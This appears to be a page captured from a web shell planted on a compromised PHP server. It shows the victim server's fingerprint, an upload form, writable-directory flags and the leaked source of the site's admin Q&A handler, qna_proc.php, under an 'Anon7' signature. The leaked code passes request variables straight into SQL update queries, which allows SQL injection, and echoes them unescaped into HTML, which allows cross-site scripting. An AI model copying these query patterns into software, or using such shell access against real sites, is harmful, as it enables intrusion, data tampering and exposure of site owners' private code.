KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/admin/Proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/admin/Proc/qna_proc.php
<?include $_SERVER['DOCUMENT_ROOT']."/conf/conf_dir.php";?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?
$todayfull = date("YmdHis");
$contents = addslashes($contents); //특수문자db에 들어가게..

$formChk = "view";
$tableName = "qna";
if($idx){
	if($mode == "proc"){
		$queryupok = "update board_$tableName set original_no = '1', reply_content='$reply_content',modify_date=now()  where no = '$idx'";
		$boardNo = get_db("select no from board_$tableName where no = '$idx'");
	}else if($mode == "pass"){
		$queryupok = "update board_$tableName set original_no='2',modify_date=now() where no = '$idx'";
		$formChk = "list";	
	}else if($mode == "del"){
		$queryupok = "update board_$tableName set is_delete='Y',modify_date=now() where no = '$idx'";
		$formChk = "list";
	}
	$queryupok_result = mysql_query($queryupok,$db_con);		
	


if($mode == "del"){
	$saveName = "削除";
	$urlchk ="../qnalist.php";
}else{
	$saveName = "保存";
	$urlchk ="../qna_write.php";
}

}else{
	$saveName = "No ID Fail";
	$urlchk ="../qnalist.php";
}
?>
<form name="form" method="post" action="<?=$urlchk?>" onsubmit="return validate();" enctype="multipart/form-data">
<input type="hidden" name="mode" value="<?=$mode?>">
<input type="hidden" name="idx" value="<?=$idx?>">
<input type="hidden" name="page" value="<?=$page?>">
</form>
<script>
alert("<?=$saveName?> OK");
document.form.submit();
</script>

Anon7 - 2021